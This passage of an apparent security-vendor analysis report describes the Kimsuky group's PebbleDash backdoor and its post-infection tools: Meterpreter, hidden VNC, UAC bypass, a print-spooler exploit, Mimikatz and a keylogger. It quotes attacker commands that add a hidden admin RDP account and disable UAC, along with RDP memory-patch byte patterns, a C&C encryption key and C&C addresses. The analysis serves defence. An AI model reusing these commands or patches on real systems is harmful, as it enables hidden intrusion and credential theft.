+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+When the malware successfully connects to the C&C server, it downloads commands using the following
+query. "uid" is not included as it is only used to establish the initial connection, and the 3rd query and "sid"
+are used instead.
+[C&C URL]?sep=BJIcQHTzhmuafuL&sid=01d1f346
+The downloaded data is likely a string encoded with Base64. The data received goes through the Base64
+decoding process. You can check the actual commands if you decrypt the data using the AES128
+algorithm.
+- AES128 Key: erNpiMneSIYnRKoE
+Figure 57. Base64 Decoding and AES128 Decryption Routine
+When receiving commands as well as sending results PebbleDash goes through the AES128 encryption
+and Base64 encoding process. The AES128 key is the same for both cases. It sends a routine that sends
+the success and failure status, and the one that sends the result for performing commands. They are all
+sent as the "data" item shown below.
+[C&C URL]?sep=QFbgweAUBDjojNR&sid=01d1f346&data=LainSGh6TfPX9wC8LkBHKw==
+The success and failure status are 0x02 and 0x01 respectively. Upon success, the data is created by
+going via the following process.
+- Original Data: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+- AES128 Encryption: 2D A8 A7 48 68 7A 4D F3 D7 F7 00 BC 2E 40 47 2B
+- Base64 Encryption: LainSGh6TfPX9wC8LkBHKw==
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+4.2.4. Performing Commands
+Most of the commands supported by the latest version of PebbleDash are not much different from the
+previous samples. Their features are similar as well. For instance, upon self-deletion, it creates the
+"qsm.bat" batch file and executes it to carry out the process. Furthermore, the command lines used to
+send results after performing commands are almost the same.
+Command
+Feature
+0x03
+Setting current task directory
+0x04
+Changing MAC time
+0x05
+Terminating process
+0x06
+Stealing information of currently running
+processes
+0x07
+Deleting files
+0x08
+Deleting files #2
+0x09
+Running processes
+0x0A
+Execution using file download and RegSvr32
+0x0B
+Execution in file download and memory
+0x0C
+Uploading files
+0x0D
+Downloading files
+0x0E
+Setting the next C&C communications time (in
+minutes)
+0x0F
+Setting the next C&C communications time (in
+Hex)
+0x10
+Auto-delete
+0x11
+Stealing system info (Windows version,
+adapter, status data, etc.)
+0x12
+Changing settings data
+0x13
+Sending settings data
+0x14
+Performing command line commands and
+stealing results (Hidden)
+0x15
+Performing command line commands and
+stealing results
+0x16
+Maintaining connection
+Table 27. Command list
+Some of the commands in the list above deserve a special discussion. First of all, it should be noted that
+most types of malware recently created by Kimsuky group are in DLL forms executed through
+regsvr32.exe. The purpose of the 0x0A command is to support such malware strains, having an additional
+command to execute the malware with "regsvr32.exe /s" after downloading payloads. In the case of the
+0x0B command, it supports a command that can execute the malware in memory instead of downloading
+in file forms. This type of payload supports DLL as well as an EXE form PE.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+5. Post Infection
+After the initial compromise, the Kimsuky group installs a backdoor such as AppleSeed or PebbleDash on
+the target system. In most cases, they continue to install additional malware strains. While these malware
+strains can install additional files, steal information, and perform command line commands sent from the
+attacker, they lack features to remotely control the infected system like other backdoor and RAT malware.
+This is why the attackers install Meterpreter backdoor of Metasploit or VNC malware to remotely control
+the system through additional payloads.
+VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other
+computers. Similar to the commonly-used RDP, it is used to remotely access and control other systems.
+The technology allows attackers to control the targeted system in a graphic environment.
+This part will discuss malware strains that are additionally installed by the Kimsuky group after the system
+is infected with AppleSeed or PebbleDash.
+5.1. Remote Control
+5.1.1. Meterpreter
+Metasploit is a penetration testing framework. It is a tool that can be used to inspect security vulnerabilities
+for networks and systems of companies and organizations, providing various features for each penetration
+test stage. Like Cobalt Strike, it provides features necessary for each stage, from creating various types
+of payloads for the initial infection and stealing account credentials to dominating the system via lateral
+movement.
+Figure 58. Metasploit GitHub
+Cobalt Strike provides Beacon which is the actual malware that operates as a backdoor in the infected
+PC. Depending on the method of installing a Beacon, it can be classified as Staged or Stageless. When
+Cobalt Strike is built with the Staged method, a powershell or small shellcode that has a downloader
+feature is created. The attacker can distribute such small-sized stager through various means. When the
+stager is executed in the infected PC, it downloads Beacon that is the main malware from the C&C server
+on the memory and executes it. The Stageless method creates a binary included with Beacon instead. As
+such, the binary can directly communicate with the C&C server without having to download Beacon.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Metasploit also provides a backdoor that performs actual malicious behaviors like Beacon from Cobalt
+Strike, called Meterpreter. Like Beacon, it can be created in both Staged and Stageless methods. This
+means that both Cobalt Strike and Metasploit can be used as penetration test tools to control the infected
+PC and steal information.
+The Kimsuky group mainly uses the stager method. Instead of including Meterpreter in the distributed file,
+a shellcode is included to download a backdoor containing Meterpreter. To be more precise, the
+downloaded file is metsrv.dll, the basic backdoor of Meterpreter. The file is created to be executed with
+the Reflective DLL injection method as shown below. One characteristic of the method is that the start
+address (the part starting with MZ) can operate as a code. The code that newly loads the DLL file itself
+into the memory through MZ is executed. When the loading is complete (in other words, when the
+Reflective DLL injection method is finished), the file hands over the control to run the actual code of
+metsrv.dll. Note that Meterpreter is modularized depending on its features. Besides the default metsrv.dll,
+it supports various extension DLLs for privilege escalation or additional tasks.
+Most of the samples collected are x64 DLL, executed by being loaded through the regsvr32.exe process.
+A glance at the file shows that the strings are obfuscated like other malware of the Kimsuky group. The
+following shows a routine that injects the stager shellcode to rundll32.exe.
+Figure 59. Decoding routine similar to AppleSeed, Kimsuky group's another backdoor
+The injected shellcode downloads Meterpreter on the memory from the 79.133.41[.]237:4001 URL and
+executes it. The following is the Meterpreter DLL downloaded from the Metasploit C&C server, which is
+similar to the binary found in the memory area mentioned above.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 60. Meterpreter DLL being downloaded
+The downloaded binary is the same as the source code of the open source Meterpreter.
+Figure 61. server_setup() function that is initial routine of downloaded metsrv.dll
+5.1.2. HVNC (TinyNuke)
+TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016. It includes features such
+as HVNC (HiddenDesktop/VNC), reverse SOCKS4 proxy, and form grabbing. As its source code was
+revealed in 2017, TinyNuke is used by various attackers, and the HVNC feature is partially borrowed by
+other malware such as AveMaria and BitRAT.
+Among the various features of TinyNuke that is being distributed, only the HVNC feature is enabled. A
+difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+PC is infected and its screen is being controlled. The following shows the process tree when HVNC is
+enabled.
+Figure 62. Process tree upon using HVNC
+In the process tree is explorer.exe (PID: 3140), which is the child process of explorer.exe (PID: 2216). The
+attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical user
+interface) of the process created while the attacker is controlling the target PC is not visible on the target
+PC screen. This type of VNC remote access is called HVNC (Hidden Virtual Network Computing).
+Another characteristic of the malware is that it uses the reverse VNC method. VNC consists of a server
+and a client. It installs the VNC server on the control target system, and the user who wishes to control
+the system remotely uses the VNC client. It gains control of the VNC client by going through the VNC
+server installed on the remote control target system.
+In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC
+client. However, HVNC of TinyNuke attempts to access the client from the server with the Reverse VNC
+feature. This means that when HVNC of the infected system is run, the awaiting attacker accesses the
+designated C&C server and uses the VNC client (server for HVNC) on the C&C server to gain remote
+control. It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access
+from the outside and to support communication in a private IP environment.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 63. Attacker's HVNC screen
+Note that TinyNuke uses "AVE_MARIA" string for verification when establishing the HVNC communication
+between the server and the client. This means that when "AVE_MARIA" string is sent from the HVNC
+client to the server, the server verifies the name, and the HVNC communication can be enabled if
+"AVE_MARIA" is correct.
+Figure 64. AVE_MARIA string used in HVNC
+This is identical to that of HVNC used by Kimsuky group. However, recently there have been HVNCs
+using the "LIGHT's BOMB" string.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 65. "LIGHT'S BOMB" string used in place of AVE_MARIA
+5.1.3. TightVNC
+Another VNC malware distributed via AppleSeed backdoor is TightVNC. TightVNC is an open-source
+VNC utility, and the attacker customizes it to use it. TightVNC can be regarded as a normal VNC utility,
+but it is different in that it supports the reverse VNC feature discussed earlier.
+TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module. In a normal
+environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in
+the user environment. In order to use the Reverse VNC feature, it executes tvnviewer as a listening mode
+on the client, then uses tvnserver that is installed as a service on the access target system to set the client
+address using controlservice and connect commands for access gain.
+The Kimsuky group distributes tvnserver, and it is customized so that the Reverse VNC feature can be
+used in the infected environment without installing a service. As such, simply running tvnserver will allow
+the attacker to access tvnviewer that operates on the C&C server and gain control of the screen of the
+infected system.
+Figure 66. Reverse VNC communications using tvnviewer
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+5.1.4. RDP Wrapper
+Meterpreter and VNC malware types were mainly discussed in earlier parts, yet the attacker also uses
+RDP Wrapper for remote control. RDP Wrapper is an open source utility that supports the remote desktop
+feature. Since Windows OS does not support remote desktop in all versions, RDP Wrapper needs to be
+installed to enable the feature. The Kimsuky group installs RDP Wrapper to multiple systems infected with
+AppleSeed.
+5.2. RDP Related
+5.2.1. Adding RDP User
+Among the earlier-mentioned PIF droppers, there was the type that drop and execute malware which
+perform the role of adding RDP user. It adds an account with the following credential.
+- User Account: default
+- Password: 1qaz2wsx#EDC
+It adds an account by executing simple command line commands like shown below. When the commands
+are over, that is, when the malware achieves its aim, it deletes itself using a batch file.
+> net user /add default 1qaz2wsx#EDC
+> net localgroup Administrators default /add
+> net localgroup "Remote Desktop Users" default /add
+"HKLM\SOFTWARE\Microsoft\Windows
+NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v default /t REG_DWORD /d 0 /f
+> reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
+REG_DWORD /d 0 /f
+The commands use the net command to register a user named "default". The user is included in the admin
+group as well as the RDP group, so it appears that the account will later be used to access RDP. The
+malware then registers the added user account to the SpecialAccounts registry key so that the user cannot
+know that an account has been added in the login screen.
+Seeing how the admin privilege is required by default to add a user account, the malware and the PIF
+dropper itself may have been run by other malware via 'run as administrator' after going through the
+privilege escalation process instead of the user clicking it. As one needs admin privilege to add user
+privilege, there have been cases where the malware with the same feature (of adding user accounts) was
+executed by the privilege escalation malware. This privilege escalation malware will be discussed later in
+this article.
+5.2.2. RDP Patcher
+Only 1 RDP per PC is allowed in a normal Windows environment. Because of this, even if the attacker
+knows the account credentials of the infected system, he or she cannot make an RDP connection without
+the user realizing it if the user is performing a task locally or a user is currently accessing the system using
+RDP. This is because if the attacker attempts to connect with RDP while the current user is in the
+environment, the current user will be logged off.
+To bypass such instances, the attacker may patch the memory of Remote Desktop Service to allow
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+execution of multiple remote desktop sessions. For instance, Mimikatz supports such a feature with the
+ts::multirdp command. The command finds the DLL address in the current running Remote Desktop
+Service (svchost.exe that loaded termsrv.dll) and searches a certain binary pattern. As the pattern is
+different for each Windows version, each version has a defined search pattern. When the defined pattern
+exists, the malware patches it into a new one, allowing multiple RDP to happen.
+The Kimsuky group uses a type of malware that specializes in the memory patch for multiple RDP. Like
+most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. The currently
+discovered sample is an x64 binary, so it only operates in the x64 Windows architecture. Its search and
+patch patterns are similar to the source code of Mimikatz, but one difference is that it also supports the
+Windows XP version. The search patterns and patterns to be patched in each Windows version are as
+follows:
+Version (x64)
+Search Pattern
+Patch Pattern
+Windows XP
+(2600) or above
+{0x83, 0xf8, 0x02, 0x7f}
+{0x90, 0x90}
+Windows Vista
+( 6000 )
+{0x8b, 0x81, 0x38, 0x06, 0x00,
+0x00, 0x39, 0x81, 0x3c, 0x06,
+0x00, 0x00, 0x75};
+{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
+0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
+Windows 7
+( 7600 )
+{0x39, 0x87, 0x3c, 0x06, 0x00,
+0x00, 0x0f, 0x84};
+{0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff,
+0xff, 0xff, 0x7f, 0x90, 0x90};
+Windows 8.1
+( 9600 )
+{0x39, 0x81, 0x3c, 0x06, 0x00,
+0x00, 0x0f, 0x84};
+{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
+0xff, 0xff, 0x7f, 0x90, 0x90};
+Windows 10,
+Version 1803
+( 17134 )
+{0x8b, 0x99, 0x3c, 0x06, 0x00,
+0x00, 0x8b, 0xb9, 0x38, 0x06,
+0x00, 0x00, 0x3b, 0xdf, 0x0f,
+0x84};
+{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
+0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
+0x90, 0xe9};
+Windows 10,
+Version 1809
+(17763) or above
+{0x8b, 0x81, 0x38, 0x06, 0x00,
+{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff,
+0x00, 0x39, 0x81, 0x3c, 0x06,
+0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90,
+0x00, 0x00, 0x0f, 0x84};
+0x90, 0x90, 0x90, 0x90};
+Table 28. RDP service search and patch patterns
+5.3. Privilege Escalation
+5.3.1. UACMe
+The privilege escalation routine for AppleSeed that was mentioned earlier shows that if the following
+registry keys all have a value of 0 (meaning that UAC is disabled), the malware executes recursion with
+the admin privilege. In a normal environment, the keys are not disabled because of security reasons.
+- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+ ConsentPromptBehaviorAdmin
+- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+ PromptOnSecureDesktop
+After installing AppleSeed, the attacker used manually patched UACMe to disable UAC. UACMe is an
+open-source project that is made public on GitHub. It is a command line tool that incorporates known UAC
+Bypass Methods. In other words, it is an open-source tool that supports dozens of UAC Bypass features.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The attacker built UACMe in the form of DLL so that it can be run with regsvr32.exe like AppleSeed and
+used the ICMLuaUtil interface among UACMe features to bypass UAC.4
+Figure 67. UAC Bypass technique using ICMLuaUtil
+The technique uses a certain undocumented method that is exported from the ICMLuaUtil interface. Like
+the ShellExecute() API, the method receives the pathname of the target that will be run as an argument
+and executes it. Unlike the API, it executes it as admin privilege without the UAC pop-up. As the method
+is not patched even in the latest Windows version, the technique is used by multiple malware strains. For
+instance, as Pitou Boot Kit malware needs admin privilege to infect MBR and reboot the system, it uses
+CMSTPLUA to do so. GandCrab ransomware that was distributed in the NSIS packer form in the past
+also used CMSTPLUA.5
+- CMSTPLUA : { 3E5FC7F9-9A51-4367-9063-A120244FBEC7 }
+- ICMLuaUtil : { 6EDD6D74-C007-4E75-B76A-E5740995E24C }
+https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1-
+a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass)
+https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The malware executes the command line commands shown below. When the malware is executed by
+being loaded through regsvr32.exe, it automatically bypasses UAC by using a certain method of
+ICMLuaUtil and executes the command line commands to configure registry keys that disable UAC.
+cmd /c
+HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+PromptOnSecureDesktop /t REG_DWORD /d 0 /f
+HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
+5.3.2. CVE-2021-1675 Vulnerability
+The Kimsuky group has also been using the privilege escalation vulnerability. The malware installed
+through AppleSeed escalates privilege by using the CVE-2021-1675 vulnerability.
+CVE-2021-1675 is a privilege escalation vulnerability of the Windows Printer Spooler service. It can exploit
+the vulnerability of the AddPrinterDriverEx() API to operate a malicious DLL designated by the attacker
+with escalated privilege. AddPrinterDriverEx() is a function that installs local or remote printer drivers and
+connects configuration, data, and driver files. If sending '0x8014' value to the fourth argument
+(dwFileCopyFlags) of the API to bypass the privilege verification of 'SeLoadDriverPrivilege,' and entering
+a malicious DLL path in the DriverInfo struct of pConfigFile to call, the malicious DLL that is sent as the
+argument is loaded and the attacker can execute the malicious DLL with escalated privilege.
+The malware used by the Kimsuky group is created based on the following GitHub open source, but there
+certain differences are noticeable when comparing it with the original source code.6
+Figure 68. CVE-2021-1675 vulnerability routine
+One noticeable difference is that while the original source code uses the EnumPrinterDrivers() API to
+https://github.com/hlldz/CVE-2021-1675-LPE/
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+pinpoint the location of the printer driver file unidrv.dll in the infected system, this malware contains the
+path shown below, hard-coded. The path is also found on the current latest version of Windows
+10.0.19043.1348, but it might be different depending on the OS version. It seems that the attacker had
+already collected the information of the target PC in advance and developed the malware based on the
+information.
+- Hard-coded Path:
+c:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNID
+RV.DLL
+The DLL registered through the malware was collected with the name lala.dll, which disables UAC and
+adds accounts. The aforementioned UACMe uses UAC Bypass to configure the following registry and
+disable UAC with escalated privilege, and lala.dll also performs the same feature.
+Registry Path
+Settings Value (Description)
+HKLM\SoftWare\Microsoft\Windows\CurrentVersion\
+Policies\System\ConsentPromptBehaviorAdmin
+0 (Not verified upon admin privilege
+escalation)
+HKLM\SoftWare\Microsoft\Windows\CurrentVersion\
+0 (Not switched to secure desktop upon
+Policies\System\PromptOnSecureDesktop
+admin privilege escalation)
+Table 29. Registry value change related to admin privilege escalation
+One difference the malware has with UACMe is that it additionally adds an RDP user account after
+privilege escalation. The account added is the same as the one from the malware that adds the user
+account mentioned earlier. Yet while the sample created through the PIF dropper uses the command line
+commands, the current one sets the registry using the API.
+Figure 69. Adding user account using API
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+One thing to note is that the DLL has the following PDB path. It seems that the Kimsuky group is using
+the CVE-2021-34527 (PrintNightmare) vulnerability to launch their attacks, with the sample probably being
+used for attacks exploiting the vulnerability.
+- PDB Path: E:\Peacock\exploit\Privilege Escalation\night dll add new admin user\CVE-2021-34527master\nightmare-dll\x64\Release\nightmare.pdb
+5.4. Collecting Information
+5.4.1. Mimikatz
+The reason the attacker escalates privilege by using tools such as UACMe is to take over the entire
+domain via lateral movement in the internal infrastructure. To move laterally within the system, one needs
+to collect account credentials. Mimikatz is one of the main tools used for such a purpose as it needs to be
+run as administrator to steal account credentials within the system.7 The attacker additionally installs
+Mimikatz, or Powerkatz, to be precise.
+Figure 70. Command options upon running Powerkatz
+https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d-
+0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+5.4.2. Collecting Chrome Account Credentials
+While the following malware is built incorrectly and does not operate normally, it can be used to steal
+information. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. It
+steals cookie information and user account credentials stored in the Chrome web browser and saves in a
+text form in the following path.
+- Save Path for Information Stolen from Chrome: C:\ProgramData\Adobe\mui.db
+The information that is parsed and decrypted is saved as domain, name, path, and value if it is a cookie.
+For account credentials, they are saved as url, user, and pass. If the malware works normally, the saved
+results are likely to be stolen by the backdoor such as AppleSeed or PebbleDash and sent to the C&C
+server.
+Figure 71. Chrome web browser cookies and account credentials saved in mui.db file
+5.4.3. Keylogger
+Keylogger is a DLL-form malware that is also run by regsvr32.exe. As seen below, the malware was
+collected from inside the AhnLab folder of the ProgramData folder, and it existed as a file named install.cfg.
+- Path for Collecting Keylogger Malware: %ALLUSERSPROFILE%\ahnlab\install.cfg
+The attacker also disguised results and settings files below as AhnLab product-related settings files by
+creating them with names such as ahnlab.cfg and uninstall.cfg.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+When Keylogger is executed for the first time, it checks for the current privilege. It injects itself as DLL into
+winlogon.exe in case of admin privilege and explorer.exe if not. Upon being run, it creates and scans the
+following mutex to prevent concurrent execution.
+- Mutex: windows certs server [pid]
+It checks the following path for the existence of uninstall.cfg. If the file exists, keylogging is stopped. The
+malware does not directly communicate with the C&C server and only performs keylogging features. As
+such, the attacker may send a command to stop keylogging through backdoor such as AppleSeed or
+PebbleDash, creating a file in the path shown below.
+- Keylogging Command Data File: %ALLUSERSPROFILE%\AhnLab\uninstall.cfg
+Keylogger malware uses GetAsyncKeyState() and GetKeyState() functions to steal the current user's
+keyboard input information and saves it in a temporary file of the %TEMP% path. Keylogger then
+periodically copies the keylogging data saved in the %TEMP% path to the path shown below. It appears
+that the saved results are stolen by the backdoor and sent to the C&C server.
+- Keylogging Data File: %ALLUSERSPROFILE%\AhnLab\ahnlab.cfg
+Figure 72. Keylogging data saved in ahnlab.cfg file
+5.5. Others
+5.5.1. Proxy Malware
+AppleSeed also creates Proxy malware. The malware has the PDB path named localproxy as shown
+below.
+- PDB Path: D:\Troy\FProxy\output\x64\localproxy.pdb
+As its name suggests, the malware has a proxy feature and receives 2 IP addresses and port numbers
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+from the command line argument to relay them. You can see from the routine below that it simply sends
+the buffer it has received back to the remote address without going through any conversion processes.
+- Command Line Argument: help:localproxy.exe RemoteIP RemotePort InternelIP InternelPort
+Figure 73. Proxy Routine
+Currently, no command line logs can be seen via the ASD infrastructure, but the ASEC team was able to
+find the history of the malware communicating with the URL shown below. It is identical to the C&C server
+address and the port number used in Meterpreter. While the proxy itself can be used in various forms, it
+appears that it was used to relay C&C communications of Meterpreter.
+- Remote Access History: 27.255.81[.]109:3015
+AhnLab's Response
+The alias and the engine version information of AhnLab products are shown below. Even if the threat
+group's activities were recently discovered, AhnLab products may have detected related malware in the
+past. The ASEC team is tracking the activities of the group and is responding to related malware types,
+but there may be unidentified alterations that are yet to be detected.
+Backdoor/JS.Akdoor (2021.04.23.00)
+Backdoor/Win.Agent.R421553 (2021.10.14.03)
+Backdoor/Win.Akdoor.C4715493 (2021.10.22.02)
+Backdoor/Win.Akdoor.C4715520 (2021.10.22.02)
+Backdoor/Win.Akdoor.R417157 (2021.04.23.00)
+Backdoor/Win.AppleSeed.C4635545 (2021.10.14.03)
+Backdoor/Win.AppleSeed.C4646719 (2021.10.14.02)
+Backdoor/Win.AppleSeed.C4646724 (2021.10.14.02)
+Backdoor/Win.AppleSeed.C4646725 (2021.10.14.02)
+Backdoor/Win.AppleSeed.C4699440 (2021.10.14.03)
+Backdoor/Win.AppleSeed.C4702267 (2021.10.15.01)
+Backdoor/Win.AppleSeed.C4702268 (2021.10.15.01)
+Backdoor/Win.AppleSeed.C4705211 (2021.10.18.03)
+Backdoor/Win.AppleSeed.C4713932 (2021.10.21.00)
+Backdoor/Win.AppleSeed.C4719084 (2021.10.24.01)
+Backdoor/Win.AppleSeed.R335261 (2021.10.15.01)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Backdoor/Win.AppleSeed.R335738 (2020.05.09.00)
+Backdoor/Win.AppleSeed.R336437 (2020.05.14.00)
+Backdoor/Win.AppleSeed.R441519 (2021.10.14.03)
+Backdoor/Win.AppleSeed.R444289 (2021.10.14.03)
+Backdoor/Win.AppleSeed.R445451 (2021.10.15.01)
+Backdoor/Win.AppleSeed.R445453 (2021.10.15.01)
+Backdoor/Win.AppleSeed.R445842 (2021.10.18.03)
+Backdoor/Win.Keylogger.R419909 (2021.10.14.03)
+Backdoor/Win.Meterpreter.C4705209 (2021.10.18.03)
+Backdoor/Win.VNC.C4589952 (2021.10.14.03)
+Backdoor/Win32.Agent.R338775 (2020.06.01.03)
+Backdoor/Win32.Kimsuky.R341619 (2020.06.25.03)
+Backdoor/Win64.Akdoor.C4148267 (2020.07.01.04)
+Backdoor/Win64.Akdoor.C4176420 (2020.08.05.05)
+Backdoor/Win64.Akdoor.C4250525 (2020.12.04.04)
+Backdoor/Win64.Akdoor.C4251494 (2020.12.08.03)
+Backdoor/Win64.Akdoor.R179345 (2016.04.22.05)
+Backdoor/Win64.Akdoor.R181647 (2016.05.20.00)
+Backdoor/Win64.Akdoor.R197899 (2017.04.03.03)
+Backdoor/Win64.Akdoor.R357381 (2020.12.08.06)
+Backdoor/Win64.Keylogger.R353447 (2020.10.20.04)
+Downloader/Win.Agent.C4510706 (2021.10.15.00)
+Downloader/Win64.Agent.C4318031 (2021.02.01.04)
+Dropper/JS.Agent (2021.08.26.03)
+Dropper/JS.Akdoor (2021.10.07.00)
+Dropper/JS.Generic (2021.05.08.00)
+Dropper/Win.Agent.C4520969 (2021.10.15.00)
+Dropper/Win.Akdoor.C4656487 (2021.09.28.00)
+Dropper/Win.AppleSeed.C4699439 (2021.10.14.03)
+Dropper/Win32.Infostealer.R332952 (2020.04.16.08)
+Dropper/Win64.Akdoor.R194398 (2017.01.26.00)
+Dropper/WSF.Agent (2021.05.13.02)
+Exploit/Win.CVE-2021-1675.C4584875 (2021.08.09.03)
+Exploit/Win.CVE-2021-34527.R436236 (2021.08.09.03)
+Malware/Gen.Reputation.C4269991 (2020.12.23.04)
+Trojan/Win.Agent.C4382841 (2021.10.14.03)
+Trojan/Win.Agent.C4457973 (2021.10.15.01)
+Trojan/Win.Agent.C4520953 (2021.10.14.03)
+Trojan/Win.Agent.C4522294 (2021.06.11.02)
+Trojan/Win.Agent.C4524918 (2021.10.14.03)
+Trojan/Win.Agent.C4705973 (2021.10.19.00)
+Trojan/Win.Agent.C4714244 (2021.10.21.03)
+Trojan/Win.Agent.R416026 (2021.10.14.03)
+Trojan/Win.Agent.R420433 (2021.10.14.03)
+Trojan/Win.Agent.R422617 (2021.10.14.03)
+Trojan/Win.Agent.R425110 (2021.10.14.03)
+Trojan/Win.Agent.R436488 (2021.10.14.03)
+Trojan/Win.Akdoor.C4522181 (2021.10.14.03)
+Trojan/Win.Akdoor.C4522184 (2021.06.11.00)
+Trojan/Win.Akdoor.C4589941 (2021.08.13.03)
+Trojan/Win.Akdoor.C4596140 (2021.08.18.00)
+Trojan/Win.Akdoor.C4700226 (2021.10.15.00)
+Trojan/Win.Akdoor.C4728343 (2021.10.27.00)
+Trojan/Win.Akdoor.R425112 (2021.10.14.03)
+Trojan/Win.Akdoor.R426485 (2021.10.15.00)
+Trojan/Win.Akdoor.R436752 (2021.08.13.03)
+Trojan/Win.Akdoor.R445441 (2021.10.15.01)
+Trojan/Win.Akdoor.R446906 (2021.10.24.02)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Trojan/Win.Appleseed.R428102 (2021.10.15.01)
+Trojan/Win.Generic.C4609881 (2021.08.27.02)
+Trojan/Win.HVNC.C4635546 (2021.10.14.03)
+Trojan/Win.Keylogger.C4719085 (2021.10.24.01)
+Trojan/Win.KeyLogger.R422003 (2021.10.14.03)
+Trojan/Win.LightShell.R435857 (2021.08.07.00)
+Trojan/Win.LightShell.R436719 (2021.08.13.02)
+Trojan/Win.LightShell.R439086 (2021.10.14.03)
+Trojan/Win.LightShell.R439839 (2021.09.02.03)
+Trojan/Win.LightShell.R445352 (2021.10.15.00)
+Trojan/Win.Meterpreter.R430231 (2021.10.14.03)
+Trojan/Win.Mimikatz.C4521006 (2021.06.09.02)
+Trojan/Win.Mimikatz.C4717867 (2021.10.23.01)
+Trojan/Win.NukeSped.R415643 (2021.10.14.03)
+Trojan/Win.Proxicon.R436042 (2021.08.09.03)
+Trojan/Win.RDPatcher.R445454 (2021.10.15.01)
+Trojan/Win.Stealer.C4768269 (2021.11.12.03)
+Trojan/Win.Tinukebot.R415647 (2021.10.14.03)
+Trojan/Win.TinyNuke.C4633235 (2021.10.14.03)
+Trojan/Win.TinyNuke.C4702254 (2021.10.15.01)
+Trojan/Win.TinyNuke.R435917 (2021.10.14.03)
+Trojan/Win.VNC.C4318018 (2021.10.14.03)
+Trojan/Win.VNC.C4589940 (2021.10.14.03)
+Trojan/Win.VNC.C4633124 (2021.09.16.00)
+Trojan/Win.VNC.R435919 (2021.10.14.03)
+Trojan/Win.VNC.R436747 (2021.10.14.03)
+Trojan/Win32.Agent.C4003499 (2020.02.29.06)
+Trojan/Win32.Agent.C4179369 (2020.08.12.03)
+Trojan/Win32.Agent.R344880 (2020.07.16.00)
+Trojan/Win32.Agent.R350149 (2020.09.03.08)
+Trojan/Win32.Agent.R353325 (2020.10.17.09)
+Trojan/Win32.Agent.R357752 (2020.12.19.00)
+Trojan/Win32.Akdoor.C2030137 (2017.07.06.02)
+Trojan/Win32.Akdoor.R183070 (2016.06.09.07)
+Trojan/Win32.Akdoor.R183787 (2016.07.22.02)
+Trojan/Win32.Akdoor.R333041 (2020.04.17.00)
+Trojan/Win32.Infostealer.R338043 (2020.05.26.02)
+Trojan/Win32.MalPacked.C4196972 (2020.09.17.00)
+Trojan/Win32.Rdpwrap.R232017 (2018.11.26.07)
+Trojan/Win64.Agent.C4318029 (2021.02.01.04)
+Trojan/Win64.Agent.R337075 (2020.05.20.10)
+Trojan/Win64.Agent.R337893 (2020.05.25.03)
+Trojan/Win64.Agent.R338576 (2020.05.29.04)
+Trojan/Win64.Agent.R350150 (2020.09.03.09)
+Trojan/Win64.Agent.R354559 (2020.11.01.00)
+Trojan/Win64.Agent.R367595 (2021.02.23.00)
+Trojan/Win64.Akdoor.R354720 (2020.11.04.00)
+Trojan/Win64.Akdoor.R355472 (2020.11.12.04)
